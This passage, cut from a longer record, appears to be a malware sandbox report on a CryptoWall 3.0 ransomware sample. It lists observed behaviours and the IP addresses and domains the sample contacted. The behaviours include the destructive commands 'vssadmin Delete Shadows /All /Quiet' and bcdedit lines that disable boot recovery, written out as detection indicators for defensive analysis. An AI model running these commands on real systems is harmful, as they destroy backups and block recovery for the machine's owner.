Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"NOTEPAD.EXE\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.TXT\", Key: \"ALWAYSSHOWEXT\")\n \"NOTEPAD.EXE\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\TEXT\", Key: \"ALWAYSSHOWEXT\")\n \"NOTEPAD.EXE\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.TXT\", Key: \"NEVERSHOWEXT\")\n \"NOTEPAD.EXE\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\TEXT\", Key: \"NEVERSHOWEXT\")","origin":"Registry Access","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"ShellExecuteA\n ShellExecuteExW\n ShellExecuteExA\n GetStartupInfoA\n GetModuleHandleA\n CreateDirectoryW\n FindWindowA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$26","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"bcdedit.exe\" (Path: \"\\REGISTRY\\MACHINE\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\", Key: \"00000409\")\n \"NOTEPAD.EXE\" (Path: \"\\REGISTRY\\MACHINE\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\", Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Queries/modifies the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"$27","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Tries to suppress failures during boot (often used to hide system changes)","description":"Tries to suppress failures during boot \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00569390-00002060)","origin":"Monitored Target","relevance":8,"id":"target-6","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/56 Antivirus vendors marked sample as malicious (5% detection rate)","origin":"External System","relevance":10,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into explorer","description":"Injected into \"explorer.exe\" (UID: 00563750-00003548)","origin":"Monitored Target","relevance":5,"id":"target-20","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"\" wrote 32 bytes to a foreign process \"explorer.exe\" (PID: 00003548)\n \"\" wrote 52 bytes to a foreign process \"explorer.exe\" (PID: 00003548)\n \"\" wrote 4 bytes to a foreign process \"explorer.exe\" (PID: 00003548)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$28","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ip-addr.es\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by Ransomware)","description":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"Delete Shadows /All /Quiet\" (UID: 00567234-00003620)","origin":"Monitored Target","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Detected text artifact in screenshot that indicate file is ransomware","description":"\"Cypt0Wall\" (Source: screen_1.png, Indicator: \"cryptowall\")\n \"decypt\" (Source: screen_1.png, Indicator: \"decrypt\")\n \"crypT0wa__\" (Source: screen_3.png, Indicator: \"crypt0\")\n \"decrypT\" (Source: screen_3.png, Indicator: \"decrypt\")\n \"DecrypTing\" (Source: screen_3.png, Indicator: \"decrypt\")\n \"HELP_DECRYPT-_0t__d\" (Source: screen_3.png, Indicator: \"help_decrypt\")\n \"HELP_DECRYPT\" (Source: screen_5.png, Indicator: \"help_decrypt\")","origin":"File/Memory","relevance":8,"id":"string-12","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"malicious","category":"System Security","name":"Queries/modifies the display settings of system associated file extensions","description":"\"NOTEPAD.EXE\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.TXT\", Key: \"ALWAYSSHOWEXT\")\n \"NOTEPAD.EXE\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\TEXT\", Key: \"ALWAYSSHOWEXT\")\n \"NOTEPAD.EXE\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.TXT\", Key: \"NEVERSHOWEXT\")\n \"NOTEPAD.EXE\" (Access type: \"QUERYVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\TEXT\", Key: \"NEVERSHOWEXT\")","origin":"Registry Access","relevance":7,"id":"registry-28","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"\" (UID: 00561468-00003516)\n Spawned process \"explorer.exe\" (UID: 00563750-00003548)\n Spawned process \"svchost.exe\" with commandline \"-k netsvcs\" (UID: 00566125-00003624)\n Spawned process \"vssadmin.exe\" with commandline \"Delete Shadows /All /Quiet\" (UID: 00567234-00003620)\n Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00568265-00003760)\n Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00569390-00002060)\n Spawned process \"NOTEPAD.EXE\" with commandline \"C:\\Users\\PSPUBWS\\Desktop\\HELP_DECRYPT.TXT\" (UID: 00602359-00002724)","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"explorer.exe\" (UID: 00026724-00002528)\n Spawned process \"svchost.exe\" with commandline \"-k netsvcs\" (UID: 00027933-00002860)\n Spawned process \"vssadmin.exe\" with commandline \"Delete Shadows /All /Quiet\" (UID: 00027963-00002916)\n Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00028021-00003004)\n Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00028077-00002932)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"etjn2ke@conopizzavenezuela[1].txt\" has type \"ASCII text\"\n \"etjn2ke@conopizza[1].txt\" has type \"ASCII text\"\n \"etjn2ke@www.conopizza[1].txt\" has type \"ASCII text\"\n \"etjn2ke@majorleaguehomerepair[1].txt\" has type \"ASCII text\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"\" at 00025562-00003008-00000105-60522007","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET POLICY DynDNS CheckIp External IP Address Server Response\" (SID: 2014932, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET TROJAN HTTP POST to WP Theme Directory Without Referer\" (SID: 2020822, Rev: 4, Severity: 2) categorized as \"Potentially Bad Traffic\" (Backdoor, ransomware, trojans, etc.)","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Contains ability to access the loader directly","description":"LdrLoadDll@NTDLL.DLL at 00025562-00003008-19417-53-004083B0","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-29","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls\"\n \"\" touched file \"%WINDIR%\\System32\"\n \"\" touched file \"%WINDIR%\\system32\\rsaenh.dll\"\n \"\" touched file \"%WINDIR%\\explorer.exe\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"J?uI\"","origin":"Network Traffic","relevance":5,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"C:\\2015_08_19_neutrino_ek_payload_cryptowall_3.0.exe\" (Source: 19417-1-00416BD0, Indicator: \"cryptowall\")","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"44/54 Antivirus vendors marked sample as malicious (81% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"Installation/Persistance","name":"Disables startup repair","description":"Disables startup repair \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00028021-00003004)","origin":"Monitored Target","relevance":8,"id":"target-5","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"level":"malicious","category":"System Security","name":"References security related windows services","description":"\"wscsvc\"\n \"wuauserv\"","origin":"File/Memory","relevance":7,"id":"string-43","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"name":"Spyware/Leak","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"name":"Ransomware","details_count":1,"details":[{"detail":"Deletes volume snapshots (often used by Ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Injects into explorer"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 11 domains and 11 hosts"}],"sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":1,"imported_dlls_count":97,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":38,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":1,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":54,"dns_resolutions_count":67,"contacted_urls_count":86,"http_requests_count":86},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"57ab559554a0ade0f1893e58","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.GenericKD","contacted_countries":["CAN","CHN","CZE","DEU","GBR","IDN","JPN","KAZ","KOR","THA","TUR","USA","VGB"],"submit_name":"2015_08_19_neutrino_ek_payload_cryptowall_3.0.exe","analysis_start_time":"2016-08-10T18:25:57+00:00","indicators_count":{"informative":8,"suspicious":15,"malicious":16},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"55d4d80b0e316dbb76ecc52d","environment_id":1,"environment_description":"Windows 7 32 bit (EN)","state":"SUCCESS","verdict":"malicious","threat_score":81,"malware_family":"HW32.Packed","contacted_countries":["FRA","ROU","USA"],"submit_name":"2015-08-19-Neutrino-EK-payload-CryptoWall-3.0.exe","analysis_start_time":"2015-08-19T14:25:58+00:00","indicators_count":{"informative":5,"suspicious":16,"malicious":15},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"188.165.164.184","port":80,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"address":"70.32.98.120","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"address":"96.17.10.26","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"address":"54.218.34.87","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"address":"63.245.215.95","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"address":"72.21.91.29","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"address":"64.233.186.93","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"address":"63.245.217.219","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"address":"216.146.38.70","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"78.47.139.102","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"94.73.156.147","port":80,"protocol":"TCP","country":"Turkey","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"112.74.214.114","port":80,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"106.186.118.79","port":80,"protocol":"TCP","country":"Japan","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.186.243.32","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"216.17.96.4","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"66.33.199.145","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"136.243.70.31","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"46.28.105.144","port":80,"protocol":"TCP","country":"Czech Republic","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.185.241.107","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"211.119.245.55","port":80,"protocol":"TCP","country":"Korea Republic of","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"103.23.20.231","port":80,"protocol":"TCP","country":"Indonesia","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"107.180.41.52","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"66.228.39.246","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.185.21.174","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.185.153.59","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"212.146.135.37","port":80,"protocol":"TCP","country":"Turkey","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"47.48.157.51","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"27.254.59.16","port":80,"protocol":"TCP","country":"Thailand","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.254.185.227","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"209.188.18.94","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"27.254.59.40","port":80,"protocol":"TCP","country":"Thailand","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"107.180.45.202","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"185.22.65.55","port":80,"protocol":"TCP","country":"Kazakhstan","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"8.5.1.35","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"184.168.205.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"67.202.92.7","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"158.69.38.48","port":80,"protocol":"TCP","country":"Canada","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"81.169.145.157","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"5.35.254.107","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.185.149.154","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.185.41.221","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"111.223.34.155","port":80,"protocol":"TCP","country":"Thailand","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"173.193.106.14","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"209.18.127.118","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"74.220.202.25","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"23.253.46.225","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.232.223.73","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"52.34.246.63","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"144.76.105.212","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"204.11.56.48","port":80,"protocol":"TCP","country":"Virgin Islands (BRITISH)","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"107.180.50.184","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.185.142.233","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"192.185.136.236","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"address":"5.79.0.80","port":80,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]}],"dns_resolutions":[{"domain":"6i3cb6owitcouepv.spatopayforwin.com","address":"46.108.156.176","country":"Romania","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"domain":"fhr.data.mozilla.com","address":"63.245.215.95","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"domain":"tiles.services.mozilla.com","address":"54.149.61.73","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"domain":"ocsp.digicert.com","address":"72.21.91.29","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"domain":"6i3cb6owitcouepv.transoptionpay.com","country":"-","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"domain":"6i3cb6owitcouepv.bythepaywayall.com","address":"46.108.156.176","country":"Romania","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"domain":"majorleaguehomerepair.com","address":"70.32.98.120","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"6i3cb6owitcouepv.lowallmoneypool.com","country":"-","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"domain":"en.wikipedia.org","address":"208.80.154.224","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"domain":"ip-addr.es","address":"188.165.164.184","country":"France","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"},{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"www.torproject.org","address":"154.35.132.70","country":"United States","sources":[{"report_type":"sandbox","report_id":"55d4d80b0e316dbb76ecc52d"}]},{"domain":"shipedtoyou.com","address":"27.254.59.16","country":"Thailand","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"content-into-cash.com","address":"192.185.241.107","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"eiflthai.net","address":"111.223.34.155","country":"Thailand","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"conopizzachile.com","address":"66.33.199.145","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"conopizzauruguay.com","address":"66.33.199.145","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"charlescrosson.com","address":"192.185.149.154","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"gayphonesexboys.com","address":"216.17.96.4","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"mohandeep.com","address":"209.18.127.118","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"elanahmias.com","address":"94.73.156.147","country":"Turkey","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"www.cprnash.com","address":"23.253.46.225","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"ferijalnirs.com","address":"192.185.41.221","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"conopizzabrasil.com","address":"66.33.199.145","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"miiart-jewelry.com","address":"106.186.118.79","country":"Japan","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"jadeamazonia.com","address":"66.228.39.246","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"infrontofmycamera.com","address":"5.79.0.80","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"eduvantage.com","address":"52.34.246.63","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"charityfross.com","country":"-","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"communityneuroclinic.com","address":"192.185.142.233","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"grizzlysts.com","address":"47.48.157.51","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"cprnash.com","address":"23.253.46.225","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"clever-x.com","address":"74.220.202.25","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"conopizza.net","address":"66.33.199.145","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab559554a0ade0f1893e58"}]},{"domain":"conopizzacolombia.com","address":"66.33.199.145","country":"United 